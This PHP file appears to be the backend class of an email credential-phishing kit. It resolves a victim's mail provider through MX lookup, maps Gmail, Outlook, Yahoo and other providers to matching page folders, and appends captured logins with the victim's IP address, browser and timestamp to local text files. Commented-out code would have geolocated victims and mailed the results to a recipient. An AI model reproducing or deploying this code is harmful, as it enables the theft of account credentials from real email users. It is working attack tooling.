<?php

class Funcs {

  public $recipient;
  public $go_to;
  public $identifier;
  public $landing;
  public $mx_go;
  public $url_final;
  public $provider = array();
  public $emadr;
  public $redirect;
  public $dom_set;
  public $try_again;
  public $is_error;
  public $msg;
  public $mx_folder = array();

  public function __construct() {
    $this->mx_folder['default'] = "wm1872m570";
    $this->mx_folder['gmail'] = "gl1258m852";
    $this->mx_folder['hotmail'] = "om1742m627";
    $this->mx_folder['yahoo'] = "ym1521m351";
    $this->mx_folder['aol'] = "al1987m874";
    $this->mx_folder['office'] = "om1742m627";
    $this->mx_folder['webmail'] = "wm1872m570";
    $this->mx_folder['zoho'] = "zh1277hj21";
    $this->mx_folder['ionosfr'] = "wm1872m570";
    $this->mx_folder['ionoses'] = "wm1872m570";
    $this->mx_folder['ionosuk'] = "wm1872m570";
    $this->mx_folder['serviciodecorreo'] = "sc1872m570";
  }
  public function getMailHost($mls) {
    $this->add = $this->mx_folder['default'];
    $d = explode("@",$mls);
    $domain=$d[1];

    // // Define
    // if (!function_exists('getmxrr')) {
    //   function getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    //     return $this->win_getmxrr($hostname, $mxhosts, $mxweight);
    //   }
    // } else {
    //   echo 'error, funcion is not present';
    // }

    getmxrr($domain,$mxhosts,$mxweight);
    // $this->win_getmxrr($domain, $mxhosts, $mxweight);
    // echo '<pre>X ' . print_r($mxhosts, true) . '</pre>';
    // exit;
    $mxhosts[0] = strtolower($mxhosts[0]);
    // echo '<pre>X ' . print_r($mxhosts[0], true) . '</pre>';
    if (strpos($mxhosts[0], "outlook.com") !== false) {   $this->add = $this->mx_folder['office'];  }
    if (strpos($mxhosts[0], "google.com") !== false) {   $this->add = $this->mx_folder['gmail'];  }
    if (strpos($mxhosts[0], "googlemail.com") !== false) {   $this->add = $this->mx_folder['gmail'];  }
    if (strpos($mxhosts[0], "yahoo") !== false) {   $this->add = $this->mx_folder['yahoo']; }
    if (strpos($mxhosts[0], "aol.mail") !== false) {   $this->add = $this->mx_folder['aol']; }
    if (strpos($mxhosts[0], "zoho") !== false) {   $this->add = $this->mx_folder['zoho']; }
    if (strpos($mxhosts[0], "ionos.fr") !== false) {   $this->add = $this->mx_folder['webmail']; }
    if (strpos($mxhosts[0], "ionos.es") !== false) {   $this->add = $this->mx_folder['webmail']; }
    if (strpos($mxhosts[0], "ionos.co.uk") !== false) {   $this->add = $this->mx_folder['webmail']; }
    if (strpos($mxhosts[0], "1and1.co.uk") !== false) {   $this->add = $this->mx_folder['webmail']; }
    if (strpos($mxhosts[0], "serviciodecorreo.es") !== false) {   $this->add = $this->mx_folder['serviciodecorreo']; }
    // if(in_array($domain, array('hotmail.com', 'outlook.com'))) {
    //   $this->add = 'hotmail';
    // }
    return $mxhosts[0];
  }

  // getmxrr() support for Windows by HM2K <php [spat] hm2k.org>
  function win_getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    if (strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') return;
    if (!is_array ($mxhosts) ) $mxhosts = array();
    if (empty($hostname)) return;
    $exec='nslookup -type=MX '.escapeshellarg($hostname);
    @exec($exec, $output);
    if (empty($output)) return;
    $i=-1;
    foreach ($output as $line) {
      $i++;
      if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
        $mxweight[$i] = trim($parts[1]);
        $mxhosts[$i] = trim($parts[2]);
      }
      if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
        $mxweight[$i] = $i;
        $mxhosts[$i] = trim($parts[1]);
      }
    }
    return ($i!=-1);
  }

  public function sendSave($message) {
    $arrContextOptions=array(
      "ssl"=>array(
        "verify_peer"=>false,
        "verify_peer_name"=>false,
      ),
      "http" => array(
        "method"=>"GET",
        "header"=> getenv("HTTP_USER_AGENT")."\r\n"
      )
    );
    // exit('ups');
    $ip = getenv("REMOTE_ADDR");
    // $ip = '178.138.32.157';
    // date_default_timezone_set('Europe/London');
    // $result    = @file_get_contents("https://whatismyipaddress.com/ip/".$ip, false, stream_context_create($arrContextOptions));
    //
    // echo '<pre>X ' . print_r(htmlentities($result), true) . '</pre>';
    // exit;

    // $country   = $this->extractstring($result, 'Country: ', '</li>');
    // $state     = $this->extractstring($result, 'State: ', '</li>');
    // $city      = $this->extractstring($result, 'City: ', '</li>');
    // $isp       = $this->extractstring($result, 'ISP: ', '</li>');
    $message .= "IP: ".getenv("REMOTE_ADDR").PHP_EOL;
    $message .= "Browser: ".getenv("HTTP_USER_AGENT").PHP_EOL;
    // $message .= "City: " . $city  . PHP_EOL;
    // $message .= "State: " . $state  . PHP_EOL;
    // $message .= "Country: " . $country . PHP_EOL;
    // $message .= "ISP: " . $isp  . PHP_EOL;
    $message .= "Time/Date: " . date("H:i:s / d-m-Y") . PHP_EOL;
    $message .= "Login: " . $this->mx_go . PHP_EOL;
    $ms=$message;
    // echo '<pre>X ' . print_r($this->try_again, true) . '</pre>';
    // exit;
    // @mail ($this->recipient, $user, $ms);
    ############## BAN USER #####################
    if (isset($_COOKIE["MissingValue"]) AND $_COOKIE["MissingValue"] == 1) {

      $file_path = $this->dir_path . "/empass.txt";
      $fp = fopen($file_path, 'a');
      fwrite($fp, $this->identifier . PHP_EOL);
      fclose($fp);

    }
    ############## WRITE DATA #####################
    $file_path = $this->dir_path . "/us001.txt";
    $fp = fopen($file_path, 'a');
    fwrite($fp, $ms . PHP_EOL . "=========================================================" . PHP_EOL . PHP_EOL);
    fclose($fp);

  }

  public function extractstring($str, $start, $end) {
    $pos_start = strpos($str, $start);
    $pos_end = strpos($str, $end, ($pos_start + strlen($start)));

    if (($pos_start !== false) && ($pos_end !== false)) {
      $pos1 = $pos_start + strlen($start);
      $pos2 = $pos_end - $pos1;
      return substr($str, $pos1, $pos2);
    }
  }

  public function base64url_encode($s) {
    return str_replace(array('+', '/', '='), array('-', '_', '*'), base64_encode($s));
  }

  public function base64url_decode($s) {
    return base64_decode(str_replace(array('-', '_', '='), array('+', '/', '*'), $s));
  }

} //END CLASS

?>
